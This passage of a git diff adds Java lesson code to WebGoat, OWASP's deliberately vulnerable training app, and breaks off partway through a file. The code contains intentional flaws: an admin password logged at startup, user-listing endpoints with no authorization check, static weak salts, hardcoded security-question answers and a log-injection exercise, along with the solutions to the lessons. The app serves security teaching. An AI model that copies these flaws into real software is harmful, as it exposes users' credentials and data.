org.springframework.web.bind.annotation.RestController; + +/** Created by jason on 1/5/17. */ +@RestController +@AssignmentHints({"lesson-template.hints.1", "lesson-template.hints.2", "lesson-template.hints.3"}) +public class SampleAttack extends AssignmentEndpoint { + + String secretValue = "secr37Value"; + + // UserSessionData is bound to session and can be used to persist data across multiple assignments + @Autowired UserSessionData userSessionData; + + @PostMapping("/lesson-template/sample-attack") + @ResponseBody + public AttackResult completed( + @RequestParam("param1") String param1, @RequestParam("param2") String param2) { + if (userSessionData.getValue("some-value") != null) { + // do any session updating you want here ... or not, just comment/example here + // return failed().feedback("lesson-template.sample-attack.failure-2").build()); + } + + // overly simple example for success. See other existing lesssons for ways to detect 'success' + // or 'failure' + if (secretValue.equals(param1)) { + return success(this) + .output("Custom Output ...if you want, for success") + .feedback("lesson-template.sample-attack.success") + .build(); + // lesson-template.sample-attack.success is defined in + // src/main/resources/i18n/WebGoatLabels.properties + } + + // else + return failed(this) + .feedback("lesson-template.sample-attack.failure-2") + .output( + "Custom output for this failure scenario, usually html that will get rendered directly" + + " ... yes, you can self-xss if you want") + .build(); + } + + @GetMapping("lesson-template/shop/{user}") + @ResponseBody + public List getItemsInBasket(@PathVariable("user") String user) { + return List.of( + new Item("WG-1", "WebGoat promo", 12.0), new Item("WG-2", "WebGoat sticker", 0.00)); + } + + @AllArgsConstructor + private class Item { + private String number; + private String description; + private double price; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/logging/LogBleedingTask.java b/src/main/java/org/owasp/webgoat/lessons/logging/LogBleedingTask.java new file mode 100644 index 000000000..710f22f1a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/logging/LogBleedingTask.java @@ -0,0 +1,66 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.logging; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; +import java.util.UUID; +import javax.annotation.PostConstruct; +import org.apache.logging.log4j.util.Strings; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class LogBleedingTask extends AssignmentEndpoint { + + Logger log = LoggerFactory.getLogger(this.getClass().getName()); + private String password; + + @PostConstruct + public void generatePassword() { + password = UUID.randomUUID().toString(); + log.info( + "Password for admin: {}", + Base64.getEncoder().encodeToString(password.getBytes(StandardCharsets.UTF_8))); + } + + @PostMapping("/LogSpoofing/log-bleeding") + @ResponseBody + public AttackResult completed(@RequestParam String username, @RequestParam String password) { + if (Strings.isEmpty(username) || Strings.isEmpty(password)) { + return failed(this).output("Please provide username (Admin) and password").build(); + } + + if (username.equals("Admin") && password.equals(this.password)) { + return success(this).build(); + } + + return failed(this).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/logging/LogSpoofing.java b/src/main/java/org/owasp/webgoat/lessons/logging/LogSpoofing.java new file mode 100644 index 000000000..b92d05572 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/logging/LogSpoofing.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.logging; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class LogSpoofing extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A9; + } + + @Override + public String getTitle() { + return "logging.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/logging/LogSpoofingTask.java b/src/main/java/org/owasp/webgoat/lessons/logging/LogSpoofingTask.java new file mode 100644 index 000000000..0fe3b3559 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/logging/LogSpoofingTask.java @@ -0,0 +1,51 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.logging; + +import org.apache.logging.log4j.util.Strings; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class LogSpoofingTask extends AssignmentEndpoint { + + @PostMapping("/LogSpoofing/log-spoofing") + @ResponseBody + public AttackResult completed(@RequestParam String username, @RequestParam String password) { + if (Strings.isEmpty(username)) { + return failed(this).output(username).build(); + } + username = username.replace("\n", "
"); + if (username.contains("

") || username.contains("

")) { + return failed(this).output("Try to think of something simple ").build(); + } + if (username.indexOf("
") < username.indexOf("admin")) { + return success(this).output(username).build(); + } + return failed(this).output(username).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/missingac/DisplayUser.java b/src/main/java/org/owasp/webgoat/lessons/missingac/DisplayUser.java new file mode 100644 index 000000000..90eb06c8d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/DisplayUser.java @@ -0,0 +1,62 @@ +package org.owasp.webgoat.lessons.missingac; + +import java.nio.charset.StandardCharsets; +import java.security.MessageDigest; +import java.util.Base64; +import lombok.Getter; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ */ +@Getter +public class DisplayUser { + // intended to provide a display version of WebGoatUser for admins to view user attributes + + private String username; + private boolean admin; + private String userHash; + + public DisplayUser(User user, String passwordSalt) { + this.username = user.getUsername(); + this.admin = user.isAdmin(); + + try { + this.userHash = genUserHash(user.getUsername(), user.getPassword(), passwordSalt); + } catch (Exception ex) { + this.userHash = "Error generating user hash"; + } + } + + protected String genUserHash(String username, String password, String passwordSalt) + throws Exception { + MessageDigest md = MessageDigest.getInstance("SHA-256"); + // salting is good, but static & too predictable ... short too for a salt + String salted = password + passwordSalt + username; + // md.update(salted.getBytes("UTF-8")); // Change this to "UTF-16" if needed + byte[] hash = md.digest(salted.getBytes(StandardCharsets.UTF_8)); + return Base64.getEncoder().encodeToString(hash); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/missingac/MissingAccessControlUserRepository.java b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingAccessControlUserRepository.java new file mode 100644 index 000000000..584542928 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingAccessControlUserRepository.java @@ -0,0 +1,49 @@ +package org.owasp.webgoat.lessons.missingac; + +import java.util.List; +import org.owasp.webgoat.container.LessonDataSource; +import org.springframework.jdbc.core.RowMapper; +import org.springframework.jdbc.core.namedparam.MapSqlParameterSource; +import org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate; +import org.springframework.stereotype.Component; +import org.springframework.util.CollectionUtils; + +@Component +public class MissingAccessControlUserRepository { + + private final NamedParameterJdbcTemplate jdbcTemplate; + private final RowMapper mapper = + (rs, rowNum) -> + new User(rs.getString("username"), rs.getString("password"), rs.getBoolean("admin")); + + public MissingAccessControlUserRepository(LessonDataSource lessonDataSource) { + this.jdbcTemplate = new NamedParameterJdbcTemplate(lessonDataSource); + } + + public List findAllUsers() { + return jdbcTemplate.query("select username, password, admin from access_control_users", mapper); + } + + public User findByUsername(String username) { + var users = + jdbcTemplate.query( + "select username, password, admin from access_control_users where username=:username", + new MapSqlParameterSource().addValue("username", username), + mapper); + if (CollectionUtils.isEmpty(users)) { + return null; + } + return users.get(0); + } + + public User save(User user) { + jdbcTemplate.update( + "INSERT INTO access_control_users(username, password, admin)" + + " VALUES(:username,:password,:admin)", + new MapSqlParameterSource() + .addValue("username", user.getUsername()) + .addValue("password", user.getPassword()) + .addValue("admin", user.isAdmin())); + return user; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionAC.java b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionAC.java new file mode 100644 index 000000000..46323aca2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionAC.java @@ -0,0 +1,44 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.missingac; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class MissingFunctionAC extends Lesson { + + public static final String PASSWORD_SALT_SIMPLE = "DeliberatelyInsecure1234"; + public static final String PASSWORD_SALT_ADMIN = "DeliberatelyInsecure1235"; + + @Override + public Category getDefaultCategory() { + return Category.A1; + } + + @Override + public String getTitle() { + return "missing-function-access-control.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACHiddenMenus.java b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACHiddenMenus.java new file mode 100644 index 000000000..8cf11a6fb --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACHiddenMenus.java @@ -0,0 +1,56 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.missingac; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** Created by jason on 1/5/17. */ +@RestController +@AssignmentHints({ + "access-control.hidden-menus.hint1", + "access-control.hidden-menus.hint2", + "access-control.hidden-menus.hint3" +}) +public class MissingFunctionACHiddenMenus extends AssignmentEndpoint { + + @PostMapping( + path = "/access-control/hidden-menu", + produces = {"application/json"}) + @ResponseBody + public AttackResult completed(String hiddenMenu1, String hiddenMenu2) { + if (hiddenMenu1.equals("Users") && hiddenMenu2.equals("Config")) { + return success(this).output("").feedback("access-control.hidden-menus.success").build(); + } + + if (hiddenMenu1.equals("Config") && hiddenMenu2.equals("Users")) { + return failed(this).output("").feedback("access-control.hidden-menus.close").build(); + } + + return failed(this).feedback("access-control.hidden-menus.failure").output("").build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACUsers.java b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACUsers.java new file mode 100644 index 000000000..0bbf9d68d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACUsers.java @@ -0,0 +1,114 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.missingac; + +import static org.owasp.webgoat.lessons.missingac.MissingFunctionAC.PASSWORD_SALT_ADMIN; +import static org.owasp.webgoat.lessons.missingac.MissingFunctionAC.PASSWORD_SALT_SIMPLE; + +import java.util.ArrayList; +import java.util.List; +import java.util.stream.Collectors; +import lombok.AllArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.servlet.ModelAndView; + +/** Created by jason on 1/5/17. */ +@Controller +@AllArgsConstructor +@Slf4j +public class MissingFunctionACUsers { + + private final MissingAccessControlUserRepository userRepository; + private final WebSession webSession; + + @GetMapping(path = {"access-control/users"}) + public ModelAndView listUsers() { + + ModelAndView model = new ModelAndView(); + model.setViewName("list_users"); + List allUsers = userRepository.findAllUsers(); + model.addObject("numUsers", allUsers.size()); + // add display user objects in place of direct users + List displayUsers = new ArrayList<>(); + for (User user : allUsers) { + displayUsers.add(new DisplayUser(user, PASSWORD_SALT_SIMPLE)); + } + model.addObject("allUsers", displayUsers); + + return model; + } + + @GetMapping( + path = {"access-control/users"}, + consumes = "application/json") + @ResponseBody + public ResponseEntity> usersService() { + return ResponseEntity.ok( + userRepository.findAllUsers().stream() + .map(user -> new DisplayUser(user, PASSWORD_SALT_SIMPLE)) + .collect(Collectors.toList())); + } + + @GetMapping( + path = {"access-control/users-admin-fix"}, + consumes = "application/json") + @ResponseBody + public ResponseEntity> usersFixed() { + var currentUser = userRepository.findByUsername(webSession.getUserName()); + if (currentUser != null && currentUser.isAdmin()) { + return ResponseEntity.ok( + userRepository.findAllUsers().stream() + .map(user -> new DisplayUser(user, PASSWORD_SALT_ADMIN)) + .collect(Collectors.toList())); + } + return ResponseEntity.status(HttpStatus.FORBIDDEN).build(); + } + + @PostMapping( + path = {"access-control/users", "access-control/users-admin-fix"}, + consumes = "application/json", + produces = "application/json") + @ResponseBody + public User addUser(@RequestBody User newUser) { + try { + userRepository.save(newUser); + return newUser; + } catch (Exception ex) { + log.error("Error creating new User", ex); + return null; + } + + // @RequestMapping(path = {"user/{username}","/"}, method = RequestMethod.DELETE, consumes = + // "application/json", produces = "application/json") + // TODO implement delete method with id param and authorization + + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHash.java b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHash.java new file mode 100644 index 000000000..8417ae059 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHash.java @@ -0,0 +1,61 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.missingac; + +import static org.owasp.webgoat.lessons.missingac.MissingFunctionAC.PASSWORD_SALT_SIMPLE; + +import lombok.RequiredArgsConstructor; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "access-control.hash.hint1", + "access-control.hash.hint2", + "access-control.hash.hint3", + "access-control.hash.hint4", + "access-control.hash.hint5" +}) +@RequiredArgsConstructor +public class MissingFunctionACYourHash extends AssignmentEndpoint { + + private final MissingAccessControlUserRepository userRepository; + + @PostMapping( + path = "/access-control/user-hash", + produces = {"application/json"}) + @ResponseBody + public AttackResult simple(String userHash) { + User user = userRepository.findByUsername("Jerry"); + DisplayUser displayUser = new DisplayUser(user, PASSWORD_SALT_SIMPLE); + if (userHash.equals(displayUser.getUserHash())) { + return success(this).feedback("access-control.hash.success").build(); + } else { + return failed(this).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHashAdmin.java b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHashAdmin.java new file mode 100644 index 000000000..52f9dbcb4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHashAdmin.java @@ -0,0 +1,68 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.missingac; + +import static org.owasp.webgoat.lessons.missingac.MissingFunctionAC.PASSWORD_SALT_ADMIN; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "access-control.hash.hint6", + "access-control.hash.hint7", + "access-control.hash.hint8", + "access-control.hash.hint9", + "access-control.hash.hint10", + "access-control.hash.hint11", + "access-control.hash.hint12" +}) +public class MissingFunctionACYourHashAdmin extends AssignmentEndpoint { + + private final MissingAccessControlUserRepository userRepository; + + public MissingFunctionACYourHashAdmin(MissingAccessControlUserRepository userRepository) { + this.userRepository = userRepository; + } + + @PostMapping( + path = "/access-control/user-hash-fix", + produces = {"application/json"}) + @ResponseBody + public AttackResult admin(String userHash) { + // current user should be in the DB + // if not admin then return 403 + + var user = userRepository.findByUsername("Jerry"); + var displayUser = new DisplayUser(user, PASSWORD_SALT_ADMIN); + if (userHash.equals(displayUser.getUserHash())) { + return success(this).feedback("access-control.hash.success").build(); + } else { + return failed(this).feedback("access-control.hash.close").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/missingac/User.java b/src/main/java/org/owasp/webgoat/lessons/missingac/User.java new file mode 100644 index 000000000..d7e23c887 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/missingac/User.java @@ -0,0 +1,15 @@ +package org.owasp.webgoat.lessons.missingac; + +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; + +@Data +@AllArgsConstructor +@NoArgsConstructor +public class User { + + private String username; + private String password; + private boolean admin; +} diff --git a/src/main/java/org/owasp/webgoat/lessons/passwordreset/PasswordReset.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/PasswordReset.java new file mode 100644 index 000000000..79cc05120 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/PasswordReset.java @@ -0,0 +1,40 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.passwordreset; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class PasswordReset extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A7; + } + + @Override + public String getTitle() { + return "password-reset.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/passwordreset/PasswordResetEmail.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/PasswordResetEmail.java new file mode 100644 index 000000000..ef1f723a5 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/PasswordResetEmail.java @@ -0,0 +1,39 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.passwordreset; + +import java.io.Serializable; +import java.time.LocalDateTime; +import lombok.Builder; +import lombok.Data; + +@Builder +@Data +public class PasswordResetEmail implements Serializable { + + private LocalDateTime time; + private String contents; + private String sender; + private String title; + private String recipient; +} diff --git a/src/main/java/org/owasp/webgoat/lessons/passwordreset/QuestionsAssignment.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/QuestionsAssignment.java new file mode 100644 index 000000000..8568b97ec --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/QuestionsAssignment.java @@ -0,0 +1,75 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.passwordreset; + +import java.util.HashMap; +import java.util.Map; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 8/20/17. + */ +@RestController +public class QuestionsAssignment extends AssignmentEndpoint { + + private static final Map COLORS = new HashMap<>(); + + static { + COLORS.put("admin", "green"); + COLORS.put("jerry", "orange"); + COLORS.put("tom", "purple"); + COLORS.put("larry", "yellow"); + COLORS.put("webgoat", "red"); + } + + @PostMapping( + path = "/PasswordReset/questions", + consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE) + @ResponseBody + public AttackResult passwordReset(@RequestParam Map json) { + String securityQuestion = (String) json.getOrDefault("securityQuestion", ""); + String username = (String) json.getOrDefault("username", ""); + + if ("webgoat".equalsIgnoreCase(username.toLowerCase())) { + return failed(this).feedback("password-questions-wrong-user").build(); + } + + String validAnswer = COLORS.get(username.toLowerCase()); + if (validAnswer == null) { + return failed(this) + .feedback("password-questions-unknown-user") + .feedbackArgs(username) + .build(); + } else if (validAnswer.equals(securityQuestion)) { + return success(this).build(); + } + return failed(this).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignment.java b/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignment.java new file mode 100644 index 000000000..ace84be78 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/passwordreset/ResetLinkAssignment.java @@ -0,0 +1,141 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.passwordreset; + +import com.google.common.collect.Maps; +import java.util.ArrayList; +import java.util.HashMap; 